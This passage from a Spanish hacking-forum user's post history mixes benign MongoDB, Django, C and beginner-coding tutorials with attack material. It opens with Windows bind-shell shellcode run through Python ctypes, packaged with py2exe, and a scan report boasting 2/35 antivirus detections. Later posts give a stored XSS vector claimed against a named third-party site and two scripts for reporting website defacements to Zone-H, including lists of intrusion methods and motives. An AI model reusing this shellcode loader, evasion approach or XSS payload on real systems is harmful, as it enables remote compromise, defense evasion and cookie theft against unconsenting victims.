"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()


Ahora lo pasamos a aplicación con py2exe y lo escaneamos de nuevo:
ç

BBCode:
[spoiler] RESULTS:   2/35
AVG Free -
ArcaVir -
Avast 5 - Win32:Hijack-GL [Trj]
AntiVir (Avira) -
BitDefender -
VirusBuster  -
Clam  -
COMODO  -
Dr.Web -
eTrust-Vet -
F-PROT  -
F-Secure  -
G Data -
IKARUS  -
Kaspersky  -
McAfee -
MS  Essentials - Trojan:Win32/Swrort.A
ESET NOD32 -
Norman -
Norton  -
Panda  -
A-Squared -
Quick Heal  -
Solo  -
Sophos -
Trend Micro  -
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard -
Immunet  -
K7 Ultimate -
NANO  -
VIPRE -

File Name      Bindshell.exe
File Size:   3440179
File MD5:    b36d2d0ba10d154436add0ea1635e6ec
File SHA1:   f96b7843f16ee4670e0c27f1d5a9a0ccdf71b4e3
Check Time:  2013-01-07 01:30:55

Scan report generated by
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[/spoiler]

Avast y Essentials.. link reporte = No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora comprobemos que el payload se ejecuta correctamente...


Todo correcto al parecer...
Bueno, con esto es todo , espero os agradará el articulo.

Un Saludo ,
Sanko.

Referencias : Creditos para el libro "Violent Python" esto tan solo es una explicación basada en lo que leí.
Traducido al español y explicado como me parecio más adecuado.
#27


Buenas amantes de Django y de las bases de datos no relacionales.
Muchos desarrolladores Django aman las BD's NoSQL y como los developers de Djangoproject piensan en nosotros nos han dado la oportunidad de facilitarnos la vida...

En un antiguo articulo explicamos sobre Pymongo lo qué nos permitia manejar MongoDB desde nuestro python...
En este articulo vamos a crear un entorno de trabajo para poder jugar con Django y MongoDB y en el próximo articulo programaremos algo...

- ¿Qué necesitaremos? :


· MongoDB
· Python
· Django (en la versión 1.3)
· Django-norel
· Django Toolbox
· Django MongoDB - Engine

Por si alguien aun no tiene mucha idea sobre estos pues hablaremos un poco de ellos :

MongoDB : No necesita presentación pues ya tenemos un articulo sobre el

Python : Si no lo sabeís pegaros un tiro.

Django 1.3 : Django es un framework web realizado en Python , para poder trabajar con BD's no relacionales debemos de tener la versión 1.3 puesto que las siguientes no son compatibles con Django-Norel

Django - Norel : Implementa a Django 1.3 lo necesario para trabajar con bases de datos no relacionales.

Django - Toolbox : Una seríe de útiles para trabajar con no relacionales en Django.

MongoDB - Engine : Engine que MongoDB nos proporciona para usar MongoDB como Backend en nuestros proyectos Django

Ahora veremos como instalar Django 1.3, Django-Norel, Django-Toolbox y MongoDB-Engine.


Pero antes requerimos de pip- Python , Git y de Mercurial para realizar la instalación de estos :

- Instalar python-pip:
Código: bash
sudo apt-get install python-pip


- Instalar Git :
Código: bash
sudo apt-get install git


- Instalar Mercurial :
Código: bash
sudo apt-get install mercurial


Una vez tengamos Git , python - pip y Mercurial procederemos a instalar lo dicho :



- Instalando Django 1.3 :
Descargamos Django 1.3 desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Nos movemos a la carpeta en la que se nos descargo Django y escribimos :

Código: bash
tar xzvf Django-1.3.5.tar.gz
cd Django-1.3.5
sudo python setup.py install


- Instalando Django Norel :
Aquí ya hacemos uso de mercurial para clonar el repo, escribimos :

Código: bash
pip install hg+https://bitbucket.org/wkornewald/django-nonrel


A muchos les soltará un error por permisos , así que no olviden ponerse como root por si acaso.

- Instalando Django Toolbox :
Escribimos en terminal de la misma manera :

Código: bash
pip install hg+https://bitbucket.org/wkornewald/djangotoolbox


Y por último :

- Instalando Django MongoDB-Engine :
Aquí ya hacemos uso de git para instalar la engine , escribimos en terminal :

Código: bash
pip install git+https://github.com/django-nonrel/mongodb-engine


Y esto sería todo lo necesario para poder usar MongoDB como Backend en nuestras aplicaciones en Django.

El próximo articulo trabajaremos ya sobre este entorno que hemos creado.
Saludos , Sanko.

#28
Python / Python + MongoDB = Pymongo
Diciembre 20, 2012, 11:12:49 PM
Bueno , no hace mucho publiqué una introducción sobre MongoDB con sus características , primeros pasos y demas.
Bien , pues hoy trataré sobre un tema que a muchos Pythoneros como yo les interesa.

MongoDB cuenta con unos drivers que soportan una gran variedad de lenguajes :

    C
    C++
    Erlang
    Haskell
    Java (and other JVM languages)
    Javascript
    .NET (C#, F#, PowerShell, ...)
    Node.js
    Perl
    PHP
    Python
    Ruby
    Scala

Para más información sobre los drivers : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Uno de los más recomendados a la hora de tratar con MongoDB desde python es "Pymongo".

Primero debemos instalar la libreria pymongo , en mi caso uso mint asi que:
Código: python
sudo apt-get install pymongo


Jugaremos con  los mismos comandos con pymongo que realizamos en la introducción a MongoDB :

- Conectaremos con la BD
- Veremos las BD's que tenemos creadas
- Veremos las colecciones que tenemos ya creadas
- Crearemos una nueva BD
- Crearemos  una nueva colección
- Insertaremos nuevos documentos
- Actualizaremos documentos
- Buscaremos documentos
- Borraremos documentos con remove y con drop


Y como petición especial (me enviarón la duda por MP) y ya que al parecer no puede esperar al próximo tutorial de MongoDB :

- Borraremos bases de datos

Bueno comenzemos importando pymongo :
Código: python
from pymongo import Connection


Creamos la conexión con la BD :
Código: python
conex = Connection('localhost') 


Ahí veís puse localhost por defecto porque la BD esta en nuestra PC y pymongo nos conecta con ella si le indicamos local pero ahi deberían de indicar el sitio de la BD y el puerto al que se conecta.

Bueno veamos las BD's que ya hay creadas :
conex.database_names()

Ahora creemos una BD nueva :

Código: python
db = conex.nombredb


Creamos una nueva colección :
Código: python
collect = db.coleccionnueva


Veamos que colecciones tenemos creadas :
Código: python
db.collection_names()


Insertemos un documento :
Código: python
collect.insert({"name":"sanko","twitter":"sankoSK"})


Actualizamos documentos con update():
Código: python
collect.update()


Vamos a realizar una busqueda de documentos :
Código: python
collect.find()


Borremos documentos con remove():
Código: python
collect.remove()


Vaciamos la colección (borramos todos los documentos) con drop():
Código: python
collect.drop()


Y ahora la petición especial , borrar bases de datos...


Aquí me explicaré un poquito más puesto que este comando es nuevo(No lo dimos en el post introductorio a MongoDB).
En MongoDB borrariamos la BD de la siguiente manera:

-Accedemos a la database
-Nos borramos


Código: python
use nuestrabd
db.dropDatabase()


Una vez aclarado esto , veamos como borrariamos la bd en pymongo:
Código: python
conex.drop_database('nombredatabase')


Bueno , ahora pongamos esto en práctica creando un código SIMPLE, no nos vamos a matar creando un super manager para un tutorial... xd
Algo así :
Código: python

# Probaremos los codes , asi que los pondremos todos
# Coded by Sanko
# Haremos lo siguiente :
# -Conectaremos con la BD
# -Veremos las BD's que tenemos creadas
# -Veremos las colecciones que ya tenemos creadas
# -Crearemos una nueva BD
# -Crearemos una nueva coleccion
# -Insertaremos nuevos documentos
# -Actualizaremos documentos
# -Borraremos documentos con remove y drop

# Simple MongoDB-Manager using pymongo - Sanko

from pymongo import Connection

def mongomanager():

conex = Connection('localhost')

def databases():
print "Control de BD's , Que deseas hacer?"
entrada = raw_input("- [1]Visualizar BD's | [2]Crear BD's | [3]Borrar BD's | [4]Home -> ")
if entrada == '1':
var = conex.database_names()
print var
databases()
elif entrada == '2':
name = raw_input("Nombre de la BD que quieres crear -> ")
global db
db = conex.name
databases()
elif entrada == '3':
delname = raw_input("Nombre de la BD que quieres eliminar -> ")
conex.drop_database(delname)
databases()
elif entrada == '4':
mongomanager()
else:
print "Error\n"
mongomanager()

def collections():
print "Control de Colecciones , que deseas hacer?"
entrada = raw_input("- [1]Visualizar colecciones | [2]Crear coleccion | [3]Home -> ")
if entrada == '1':
var = db.collection_names()
print var
collections()
elif entrada == '2':
global collectname
collectname = raw_input("Nombre de la coleccion que quieres crear -> ")
collect = db.collectname
collections()
elif entrada == '3':
mongomanager()
else:
print "error\n"
mongomanager()

def documents():
print "Control de Documentos , que deseas hacer?"
entrada = raw_input("[1]Crear documento | [2]Busqueda de documentos | [3]Eliminar documento | [4]Home -> ")
if entrada == '1':
#Escriba el contenido de esta manera "name":"sanko" por ejemplo.
document = raw_input("Escriba el contenido del doc => ")
collectname.insert({"name":"sankito"})
documents()
elif entrada == '2':
content = raw_input("Parametros del contenido -> ")
var = collectname.find(content)
print var
documents()
elif entrada == '3':
choosedel = raw_input("Desea vaciar el documento(1) o borrar algo especifico(2) -> ")
if choosedel == '1':
collectname.drop()
documents()
elif choosedel == '2':
delcontent = raw_input("Parametros del borrado -> ")
collectname.remove(delcontent)
documents()
else:
print "error\n"
documents()
else:
print "error\n"
mongomanager()

entrada = raw_input("PyMongo Manager => Exit(0) | Control BD's(1) | Control Colecciones(2) | Control de Documentos(3) -> ")
if entrada == '0':
exit
elif entrada == '1':
databases()
elif entrada == '2':
collections()
elif entrada == '3':
documents()
else:
print "Error\n"
mongomanager()

mongomanager()


Una imagen del rápido testeo :




Para los vagos aca les dejo el code en Pastebin -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El code esta creado muy rápidamente por eso tiene unos patrones muy rígidos a vuestra imaginación queda quitar lla necesidad de definir unas variables antes de crear el documento y demas cosas , eso ya se tiene que hacer pensando como sería más cómodo y dedicandole un buen rato.

Espero os sirviera este articulo , como siempre UN ABRAZO.
Saludos , Sanko
#29
Informática Forense / Analisis de Metadatos con FOCA
Diciembre 20, 2012, 10:00:22 AM
Buenas! , en esta ocasión vengo a traerles una presentación.odp sobre Analisis de Metadatos con FOCA y como burlar FOCA.

Me toco realizar una charla sobre Analisis de Metadatos y use esta presentación como guia para realizar una demostración en directo sobre "Ataque y Defensa".

La presentación esta hecha a prueba de Kiddies por lo qué cualquiera pueda aprender.
Esta se hizo con la intención de hacerme de GUIA mientras iva explicando y haciendo las cosas por lo que su explicación sobre el uso de FOCA no es muy extensa pero servirá para aprender lo básico o para aquel que quiera realizar una charla sobre lo mismo pueda tomarla como guia para la suya.



Sin mas os dejo el link de descarga :
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero que os sirva , un abrazo.
Sanko.
#30
Base de Datos / MongoDB - La MySQL del NoSQL
Diciembre 18, 2012, 11:34:53 AM
Buenas , no hace mucho me hicierón una propuesta para trabajar como backend y requerian de conocimientos en bases de datos NoSQL, así que como buen autodidacta me puse a googlear y me encontre con la MySQL de las bases de datos no relacionales.

Esta se llamaba MongoDB y con tan solo leer sus características me dejo totalmente enamorado.

Índice :

    {1} Introducción:

        1-¿Qué es MongoDB?

        2-Características

        3-Instalando MongoDB y Primeros pasos


{1}.1 : ¿Qué es MongoDB?

A estas alturas y con esa introducción todos los que desconoceís de MongoDB os estareís preguntando

-¿Qué es MongoDB?- , ahora aclararé todo.

MongoDB es una base de datos relativamente "nueva", esta se orienta a documentos...

-¿Como a documentos?- , para poder trabajar cómodamente sobre mongoDB debemos de olvidarnos de la lógica relacional que MySQL nos implemento , así que realizaré una comparativa para que os quedeís con los términos básicos.

Términos SQL - Términos MongoDB  :

    Database - Database
    Tabla - Colección
    Fila - Documento(BSON)
    columna - campo
    index - index

Con esto ya tendremos una comparativa bastante clara y podemos proseguir con "¿Qué es MongoDB?".

MongoDB fue programada en C++ de código abierto y fué pensada para ser rápida , escalable y sencilla.

Es muy importante destacar que MongoDB ofrece un mayor rendimiento que CouchDB(otra BD NoSQL) e incluso que MySQL.

¿Para qué podemos usar MongoDB?

Puesto que MongoDB no usa digamos los "estándares" de bases de datos no es muy recomendable usarla para aplicaciones bancarias pero cuando tienes que almacenar grandes cantidades de datos como por ejemplo un blog si sería ideal.

Tambien mucha gente recomienda crear híbridos en los que uses una BD Relacional para las transacciones y una no relacional como MongoDB para guardar datos,documentos.

{1}.2 : Características de MongoDB :

Bueno vamos a ver un poco por encima las características de MongoDB :

   Ausencia de transacciones
    Utiliza Almacenamiento Orientado a documentos (BSON)
    Soporte a Querys dinámicas
    Indexación de Documentos
    Indices Geoespaciales
    Analisis de Rendimiento de Queries
    Actualización de la información "in-Place"
    GridFS
    Replicación de Datos
    Implementación de Auto Sharding
    Utilización de Funciones  Map/reduce


Ausencia de transacciones

Se tiene en cuenta como desventaja pero es por esto por lo que MongoDB puede ser más rápida y escalable.

Utiliza Almacenamiento Orientado a documentos (BSON)

BSON(Binary-JSON) es una excelente forma de intercambio de información y de almacenaje. MongoDB almacena todo en un mismo documento y gracias a json el cual describe el contenido del documento no existe la necesidad de crear estructuras ni de esquematizar.

Aparte de las funcionalidades que posee JSON agrega otras como la habilidad de manejar datos binarios, permitiendoles ser sumamente rápida en la búsqueda, indexación, almacenamiento y recuperación de la información, ya que BSON es fácil y rápidamente transformable en cualquier tipo de dato nativo de cualquier lenguaje de programación.

Soporte a Querys dinámicas

MongoDB acepta la ejecución de queries dinámicas, es decir , se pueden ejecutar consultas sin haberlas definido antes como pasa en CouchDB.

Indexación de Documentos

A la hora de insertar documentos a una colección se indexan con una clave/prefijo (_id) que proporciona al documento la capacidad de ser único, esta _id se puede definir a la hroa de insertar pero si no se define el propio mongo te pondrá una por defecto.


Indices Geoespaciales

Esto permite por indexar información basandonos en geo/localización lo que es muy útil a la hora de elaborar aplicaciones para este area.

Analisis de Rendimiento de Queries

MongoDB nos acerca una herramienta para analizar consultas, desde luego muy útil para analizar defectos o mejorarlas.

Actualización de la información "in-Place"

MongoDB puede actualizarse donde quiera que sucedan los cambios ya que realiza la escritura de la información en la memoría y retrasa la escritura en disco lo más posible (esto puede ser una desventaja) pero esto le proporciona su velocidad.

GridFS

Como ya comentamos mongo utiliza BSON para el almacenaje de datos binarios y su limite esta en 4MB de datos binarios en un mismo documento.
Para eso si necesitamos espacios adicionales para audios , videos , imagenes mongoDB nos acerca un sistema de almacenaje de metadatos, GridFS.
Este permite almacenar información del archivo en una coleccion de archivos.
Esto se divide en minimas partes(chunks) que se almacenan en una coleccion de chunks y permite que sea mas sencillo manejar y escalar.

Replicación de Datos

MongoDB tiene un mecanísmo llamado "replicación maestro-esclavo".
Este mecanismo es sencillo de entender , todas las peticiones de escritura se realizan en la BD maestra quien las "copia" en su réplica(esclavo) y así tenemos alternativa si la maestro falla porque la esclava ocupa su sitio.

Implementación de Auto Sharding


Esta es la característica más útilizada porque esta busca que se encarga del manejo de la data y de que esta vaya al servidor correcto para que las queries se ejecuten de la forma más eficiente.

Funciones  Map/reduce

Son las funciones más poderosas en cuanto a consultoría de data se refiere.
Estan en JS(JavaScript) y se ejecutan en el servidor.
Hay que dejar claro que mongoDB tiene una shell js para el manejo de BD's y en ella podemos trabajar con código js que nos permite explotar todo su potencial.(Bucles para insertar documentos etc etc...)

La función MAP se encarga de encontrar documentos que cumplen X condición/criterio , despues la funcion REDUCE se encarga de procesar esa información y nos retorna un documento con la información "peticionada"/"encargada".

{1}.3 : Instalando MongoDB

Es de lógica que si vamos a ver como instalar MongoDB primero habrá que descargarlo ¿No?.

Para esto acudimos a su website oficial ->Mongodb.org

Ahí podeís elejir para que OS y estas cositas , en mi caso Linux 32-bit



O tambien podemos hacerlo desde nuestra terminal :
Código: php
sudo apt-get install mongodb


Para comprobar si todo quedo bien abrimos nuestra terminal y escribimos :
Código: php
mongo



Se nos conecta a una bd por defecto "test" , vamos a crear nuestra propia database:
Código: php
use nombredb




Podemos ver que databases tenemos creadas con :
Código: php
show dbs


Aclaración :

La base de datos no se guardará hasta que no guardemos algo dentro...
esto quiere decir que si la creo "use namedb" y luego me salgo de la shell la db no aparecera como creada.
Ok , creemos una colección para nuestra database e insertaremos un documento :

Código: php
db.nombrecoleccion #asi creamos la coleccion
db.nombrecoleccion.insert({"name":"sanko","twitter":"sankoSK"})


Podemos ver que colecciones tenemos creadas con :
Código: php
show collections


Ahora usaremos .find() para comprobar que se creo el documento :
Código: php
db.nombrecoleccion.find()




ahí vemos que nos creo el documento y lo pudimos buscar con .find() que daría un busqueda a todos entre los () podemos dar argumentos
Vamos a crear otro documento con una estructura totalmente diferente para probar la eficiencie de find() para pedirle una busqueda más especifica:
Código: php
db.nombrecoleccion.insert({"color":"azul","material":"metal"})
db.nombrecoleccion.find({"color":"azul"})




Ahi comprobamos que nos muestra solo lo que nosotros queremos buscar , es decir , datos que contengan "color":"azul" , si no , no muestra nada.
Existe otro método , para mi un poco inútil la verdad pero es otro , xd , este muestra solo la primera fila del doc.
Código: php
db.nombrecoleccion.findOne()


Bueno pasemos a el método count() , este si es más útil ya que nos dice el número de los que tenemos almacenados :
Código: php
db.nombrecoleccion.count()




supongamos que queremos actualizar datos y para esto tenemos a nuestro querido update()
Código: php
db.nombrecoleccion.update({"name":"sanko"}, {$set:{"other":"fuckthishit"}})




Como podeís observar en la imagen gracias a $set actualizamos el documento COLOCANDO "other":"fuckthishit" despues de "name":"sanko"

Ahora tocaremos sobre los métodos remove y drop  , es de suponer que algo tiene que ver con eliminar... xd, el método remove nos servira para eliminar filas en los documentos , aqui un ejemplo :
Código: php
db.nombrecoleccion.remove()


Esto lo que hará será borrar todas las filas del documento dejando este vacío:



pero tambien podemos usar a remove() con parametros para borrar algo de manera concreta :
Código: php
db.nombrecoleccion.insert({"name":"sanko"})
db.nombrecoleccion.insert({"color":"rojo"})
db.nombrecoleccion.remove({"color":"rojo"})




ahí podeís ver que nos borro lo que le pedimos.

Bueno y por último en esta "introducción" a mongoDB daremos el método drop qué es como el remove PERO drop no tiene la opción de poder borrar datos especificos , si no que te vacia el documento y ya.
Código: php
db.nombrecoleccion.drop()


Espero que vuestra opinión acerca de esta database sea buena y qué más que decir que el próximo articulo sobre mongodb será algo más "profundo" , veremos más métodos , de autentificación, y demas

Saludos , Sanko.
#31
Hacking ShowOff / IFXSS bugtraq-team.com
Diciembre 13, 2012, 11:44:33 PM
Bueno curioseando un poco por bugtraq para ver novedades y demas me dio por darle un ojo al foro y a la subida de imagenes de avatar y recordando el paper de IFXSS de JKS me puse a jugar un poco y salio :



Vector : "<h1 onclick=alert(document.cookie)>XSS"
Estado : En periodo de reporte.
#32
Python / [Python] Zone-H Reporter Update
Diciembre 07, 2012, 11:35:34 PM
Aqui os traigo una pequeña "update" que le he dado al Zone-H Reporter dotandole de un control de excepciones y un code más limpio.
No más deje una aclaración : los except podeís ponerlos a vuestro gusto yo los deje en except: a secas pero cada uno tiene sus manias y ahí no me meto xd.

Código: python
#########################
# S A N K O         #
#             #
# !/usr/bin/python     #
#  Zone-H Reporter v0.5 #
#########################


#Uso :
# login('user','password')
# uploadsingle(params)
# uploadmass(params)

#Aclaracin :
  #Los except los dejo a gusto de cada uno , indicar el que mas os convenga


import urllib,urllib2

def zoneh():
  main()

  def main():
    print """
@@@@@@@  @@@@   @    @  @@@@@           @    @          @@@@@   @@@@@   @@@@@    @@@@   @@@@@   @@@@@   @@@@@   @@@@@  |
     @  @    @  @@   @  @               @    @          @    @  @       @    @  @    @  @    @    @     @       @    @ |   Visit
    @   @    @  @@   @  @               @    @          @    @  @       @    @  @    @  @    @    @     @       @    @ |
   @    @    @  @ @  @  @               @    @          @    @  @       @    @  @    @  @    @    @     @       @    @ |  www.underc0de.org
  @     @    @  @ @  @  @@@@            @@@@@@          @@@@@   @@@@    @@@@@   @    @  @@@@@     @     @@@@    @@@@@  |
@      @    @  @  @ @  @               @    @          @    @  @       @       @    @  @    @    @     @       @    @ |
@       @    @  @   @@  @               @    @          @    @  @       @       @    @  @    @    @     @       @    @ | Underc0de Team
@       @    @  @   @@  @               @    @          @    @  @       @       @    @  @    @    @     @       @    @ | -------------------
@@@@@@@  @@@@   @    @  @@@@@           @    @          @    @  @@@@@   @        @@@@   @    @    @     @@@@@   @    @ | V.0.5 By Sanko\n"""

    options = """
#########################
#             #
#   Zone-H Reporter     #
#   V.0.5         #
#             #
# [+] OPTIONS [+]     #
#-----------------------#
# [1] login         #
# [2] Single Deface   #
# [3] Mass deface      #
# [i] Info Methods    #
#             #
#########################\n"""

    print options
    entra = raw_input("Choose an option -> ")

    if entra == 1:
      login('user','password')

    elif entra == 2:
      uploadsingle('defacer','domain','hackmode','reason')

    elif entra == 3:
      uploadmass('defacer','hackmode','reason') #Rellena los dominios en def uploadmass()

    elif entra == 'i':
      info()

    else:
      print "Error , try again\n"
      main()

  def login(user,password):
    try:
url = 'http://www.zone-h.org/notify/single'
values = {'user':user,
  'password':password}

data =urllib.urlencode(values)
req = urllib2.Request(url, data)
resp = urllib2.urlopen(req)
page = resp.read()
print page

except:
entrada = raw_input("Error , Desea volver a intentar loguearse? |si| o |no| -> ")
if entrada == 'si':
login('user','pass')

elif entrada == 'no':
main()

else:
print "Error , Saliendo del programa..."
exit

def uploadsingle(defacer,domain,hackmode,reason):
try:
url = 'http://www.zone-h.org/notify/single'
values = {'defacer':defacer,
  'domain1':domain,
            'hackmode':hackmode,
            'reason':reason,
            'submit':'Send'}
      data =urllib.urlencode(values)
req = urllib2.Request(url, data)
resp = urllib2.urlopen(req)
page = resp.read()
print page

except:
entrada = raw_input("Ha ocurrido un Error , deseas volver a realizar la acción?  |si| o |no| -> ")
if entrada == 'si':
uploadsingle('defacer','domain.com','hackmode','reason')

elif entrada == 'no':
main()

else:
print "Error , Saliendo del programa..."
exit

def uploadmass(defacer,hackmode,reason):
try:
        url = 'http://www.zone-h.org/notify/mass'
        values = {'defacer':defacer,
                  'domain1':'',
                  'domain2':'',
                  'domain3':'',
                  'domain4':'',
                  'domain5':'',
                  'domain6':'',
                  'domain7':'',
                  'domain8':'',
                  'domain9':'',
                  'domain10':'',
                  'domain1':domain,
                  'hackmode':hackmode,
                  'reason':reason,
                  'submit':'Send'}
     
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        resp = urllib2.urlopen(req)
        page = resp.read()
        print page

      except:
        entrada = raw_input("Ha ocurrido un Error , deseas volver a realizar la acción?  |si| o |no| -> ")
        if entrada == 'si':
          uploadmass(defacer,hackmode,reason)

        elif entrada == 'no':
        main()

        else:
  print "Error , Saliendo del programa..."
  exit

    def info():
      hackmodes = """
[1] known vulnerability (i.e. unpatched system)
[2] undisclosed (new) vulnerability
[3] configuration / admin. mistake
[4] brute force attack
[5] social engineering
[6] Web Server intrusion
[7] Web Server external module intrusion
[8] Mail Server intrusion
[9] FTP Server intrusion
[10] SSH Server intrusion
[11] Telnet Server intrusion
[12] RPC Server intrusion
[13] Shares misconfiguration
[14] Other Server intrusion
[15] SQL Injection
[16] URL Poisoning
[17] File Inclusion
[18] Other Web Application bug
[19] Remote administrative panel access through bruteforcing
[20] Remote administrative panel access through password guessing
[21] Remote administrative panel access through social engineering
[22] Attack against the administrator/user (password stealing/sniffing)
[23] Access credentials through Man In the Middle attack
[24] Remote service password guessing
[25] Remote service password bruteforce
[26] Rerouting after attacking the Firewall
[27] Rerouting after attacking the Router
[28] DNS attack through social engineering
[29] DNS attack through cache poisoning
[30] Not available
[31] Cross-Site Scripting\n"""
     
      reasons = """
[1] Heh...just for fun!
[2] Revenge against that website
[3] Political reasons
[4] As a challenge
[5] I just want to be the best defacer
[6] Patriotism
[7] Not available\n"""
      entrada = raw_input("info about |hackmodes| or |reasons| -> ")
      if entrada == "hackmodes":
        print hackmodes
      elif entrada == "reasons":
        print reasons
      else:
        print "Error"
        main()

zoneh()


Debido a que su visibilidad dentro de las etiquetas es penosa aqui dejo el code en un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
#33
Underc0de / Adios a los problemas con NOD32
Noviembre 20, 2012, 03:26:25 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Miren Que justo Me meti underc0de hace unos minutos ... me aparecio esto

Hace Poco Que me detecta el Nod32...  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! la verdad que no tiene nigun brillo... Queria Ver si alguien sabia como abilidarlo pero sin desabilitar la proteccion Web! o https o http...
solo eso
Cuidence...

Antes era chevere sin que lo detectara...

Me da placer comunicaros a toda la comunidad de Underc0de que ESET ya nos ha quitado de su lista negra en sus últimas actualizaciones , asi que pronto podremos volver a subir todos los servicios.

Un saludo a toda la comunidad.
#34
Bueno ando aqui iniciandome en C y despues de dar sentencias se me ocurrio traducir la misma función que traduzco siempre tras acabar los bucles.

Código: c
/* Accion cada X segundos By Sanko - C */
/* Uso -> delay(parametro) */
#include <stdio.h>

void delay(int time)
{
while(0<10)
{
sleep(time);
printf("hola sankito");
}
}

int main()
{
delay(3);
return 0;
}


Saludos , Sanko.

PD : Testeado en gcc (Linux).
#35
Python / [Python] Zone-H Reporter | Sanko
Noviembre 10, 2012, 08:48:18 PM
Bueno hace un tiempo vi un zone-h reporter hecho en perl por Dedalo y hoy aburrido pues me puse a hacer una similar en python.
Quien no sepa lo que es zone-h que se muera no más o que lo busque...

Aqui os dejo el código , es algo extenso y directamente no lo comente.

Código: python
###################
#!/usr/bin/python #
# Zone-H Reporter #
# Coded by Sanko  #
###################

import urllib,urllib2

def main():
options = """
#######################
#       #
#  Zone - H Reporter  #
#  [0] Login          #
#  [1] Single Deface  #
#  [2] Mass Deface    #
#  [i] info methods   #
#               #
#######################"""

print options
entrada = raw_input("Choose an option -> ")
if entrada == 0:
login('user','password')
elif entrada == 1:
uploadsingle('defacer','http://web.com/','15','1')
elif entrada == 2:
uploadmass('defacer','15','1') #Deben indicar en la funcion los domains defaceados
elif entrada == 'i':
info()
else:
print "Error , try again\n"
main()

def login(user,password):
url = 'http://www.zone-h.org/login'
values = {'user':user,
'password':password}

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
resp = urllib2.urlopen(req)
page = resp.read()
print page

def uploadsingle(defacer,domain,hackmode,reason):
url = 'http://www.zone-h.org/notify/single'
values = {'defacer':defacer,
          'domain1':domain,
          'hackmode':hackmode,
  'reason':reason,
  'submit':'Send'}

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
resp = urllib2.urlopen(req)
page = resp.read()
print page


def uploadmass(defacer,hackmode,reason):
url = 'http://www.zone-h.org/notify/mass'
values = {'defacer':defacer,
  'domain1':'',
  'domain2':'',
  'domain3':'',
  'domain4':'',
  'domain5':'',
  'domain6':'',
  'domain7':'',
  'domain8':'',
  'domain9':'',
  'domain10':'',
          'domain1':domain,
          'hackmode':hackmode,
  'reason':reason,
  'submit':'Send'}

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
resp = urllib2.urlopen(req)
page = resp.read()
print page

def info():
hackmodes = """
[1] known vulnerability (i.e. unpatched system)
[2] undisclosed (new) vulnerability
[3] configuration / admin. mistake
[4] brute force attack
[5] social engineering
[6] Web Server intrusion
[7] Web Server external module intrusion
[8] Mail Server intrusion
[9] FTP Server intrusion
[10] SSH Server intrusion
[11] Telnet Server intrusion
[12] RPC Server intrusion
[13] Shares misconfiguration
[14] Other Server intrusion
[15] SQL Injection
[16] URL Poisoning
[17] File Inclusion
[18] Other Web Application bug
[19] Remote administrative panel access through bruteforcing
[20] Remote administrative panel access through password guessing
[21] Remote administrative panel access through social engineering
[22] Attack against the administrator/user (password stealing/sniffing)
[23] Access credentials through Man In the Middle attack
[24] Remote service password guessing
[25] Remote service password bruteforce
[26] Rerouting after attacking the Firewall
[27] Rerouting after attacking the Router
[28] DNS attack through social engineering
[29] DNS attack through cache poisoning
[30] Not available
[31] Cross-Site Scripting"""

reasons = """
[1] Heh...just for fun!
[2] Revenge against that website
[3] Political reasons
[4] As a challenge
[5] I just want to be the best defacer
[6] Patriotism
[7] Not available"""

entrada = raw_input("info hackmodes | info reasons   --- > ")
if entrada == "hackmodes":
print hackmodes
elif entrada == "reasons":
print reasons
else:
print "Error"


main()


Saludos , Sanko.
#36
Hacking / Owasp Zed Attack Proxy - Matabarras
Noviembre 02, 2012, 01:45:47 PM
Os dejo un post que matabarras queria subir pero por cuestión de su escasa disponibilidad me ha pedido como favor que se lo suba.

Asi que aqui una breve explicación sobre Owasp Zed Attack Proxy , un bonito ZAP multiplataforma :



Descarga de la web oficial:  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#37
- ¿En que consiste el reto?

· Comprueba que el primer caracter de la variable 'a' sea 'h' , si este comienza por 'h' imprime un mensaje indicando que es correcto, de lo contrario que imprima un mensaje mostrando que es incorrecto.

- ¿Dificultad? : 2/10 (Sencillito)

De a poco ire aumentando la dificultad para que se puedan ir entreteniendo tanto usuarios iniciados  como usuarios avanzados.

Aqui yo hice dos scripts , uno en python y otro en ruby :

Python :

Código: python
#Reto de programacion , Difucultad? -> Sencilla
#Comprueba que el primer caracter de la variable 'a' sea 'h'
#Si lo es imprime 'Correcto' si no lo es imprime 'Incorrecto'

a = raw_input("Escribale un valor a la variable a : -> ")

if a.startswith('h'):
print "Correcto el primer caracter es una h"
else:
print "Incorrecto el primer caracter no es una h"


Imagen :



Ruby :

Código: ruby
#Reto de programacion , Difucultad? -> Sencilla
#Comprueba que el primer caracter de la variable 'a' sea 'h'
#Si lo es imprime 'Correcto' si no lo es imprime 'Incorrecto'

print "Escribale un valor a la variable a :\n"
a = gets.chomp

if a.match(/^h/)
puts 'Correcto el primer caracter es una h'
else
puts 'Incorrecto el primer caracter no es una h'
end


Imagen :



PHP - OKOL :

Código: php
<?php
$cadena = "hola";
echo 'la palabra es '.$cadena.'<br />':

if($cadena['0'] == "h")
{
echo "correcto! la primera letra es h";
} else {
echo "Incorrecto";
